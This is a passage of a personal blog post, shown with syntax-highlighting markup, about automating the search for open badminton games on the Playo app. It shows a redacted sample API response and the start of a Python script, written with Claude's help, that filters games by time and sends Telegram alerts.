<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">profilePicUrl</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://playov2.gumlet.io/profiles/redacted.511716.jpg</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">fName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Redacted</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">karma</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2800</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span>    {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">profilePicUrl</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://playov2.gumlet.io/profiles/redacted-redacted.png</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">fName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">karma</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 499</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  ]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">isPlayoGame</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">skill</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Intermediate &amp; above</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">sportName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Badminton</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">shortListed</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">joineeList</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">7f3cf298-3324-4fc2-96ad-b0f00093cd8f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">250572a2-555d-4a77-94f0-452142c08f81</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cc3b9eb6-a3b5-4c26-8605-0486fa000a4b</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">8d5d4299-950b-4011-a7ac-b466b1c00e84</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">235ae56d-6f4f-4106-9304-fb38e7d4add8</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  ]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">isPlaypalPlaying</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lat</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 12.976394040119704</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lng</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 77.63644146986815</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">location</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Game Theory - Double Road Indiranagar, Indiranagar</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">joineeCount</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">status</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -1</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">sportsPlayingMode</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">name</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">icon</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  }</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">maxPlayers</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 7</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">full</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">price</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">startTime</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2025-03-04T13:30:00.000Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">endTime</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2025-03-04T15:30:00.000Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">minSkill</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">maxSkill</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">skillSet</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">booking</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">bookingId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">type</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">venueId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">82af038f-058c-4b2f-bc3d-3a47910d4f97</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">venueName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Game Theory - Double Road Indiranagar, Indiranagar</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">activityType</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">regular</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">isOnline</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">groupId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">groupName</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">currencyTxt</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">INR</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">strictSkill</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">date</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2025-03-04T00:00:00.000Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">hostId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">sportId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">SP5</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">timing</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">id</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">e2ee9f62-c9b6-472b-aea2-b0c52dd7c525</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">distance</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0.5249236963063415</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">courtInfo</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">sponsored</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">groups</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> [</span><span>]</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Using the above response, I filtered for games where:</p>
<ul>
<li><code>full</code> is <code>false</code> (This indicates that <code>joineeCount == maxPlayer</code> is not true, meaning spots are still available to join)</li>
<li><code>startTime</code> and <code>endTime</code> fall within 7-8PM IST</li>
</ul>
<p>I also wanted to add a feature to send these details to Telegram for convenient notifications. I then <a rel="external" href="https://x.com/karpathy/status/1886192184808149383">vibe coded</a> with Claude 3.7 to create a Python script to automate this whole process. Impressively, it produced a working script pretty much in a one-shot prompt, though I had to make a few minor tweaks. I quite like <a rel="external" href="https://simonwillison.net/2024/Dec/19/one-shot-python-tools/">Simon Willison’s approach</a> of using <code>uv</code> to build one-shot tools. Managing dependencies, virtual environments, etc. is still a pain point in Python, but using <code>uv</code> feels like magic by comparison.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> /// script</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> requires-python = &quot;&gt;=3.12&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> dependencies = [</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">     &quot;click&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">     &quot;requests&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">     &quot;pytz&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">     &quot;rich&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">     &quot;python-dateutil&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">     &quot;python-telegram-bot&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> ///</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> click</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> requests</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> json</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> datetime</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> pytz</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> os</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> sys</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> rich</span><span>.</span><span>console</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> Console</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> rich</span><span>.</span><span>table</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> Table</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> dateutil</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> parser</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> telegram</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> Bot</span><span>,</span><span> InputMediaPhoto</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> telegram</span><span>.</span><span>constants</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> ParseMode</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> io</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> BytesIO</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> asyncio</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>console</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> Console</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">command</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--lat</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">12.9783692</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Latitude for search</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--lng</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">77.6408356</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Longitude for search</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--radius</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">50</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">City radius in km</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--sport</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">SP5</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Sport ID (default: SP5 for Badminton)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">click</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">option</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--start-time</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> default</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">19:00</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> help</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Desired start time (24-hour format HH:MM)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
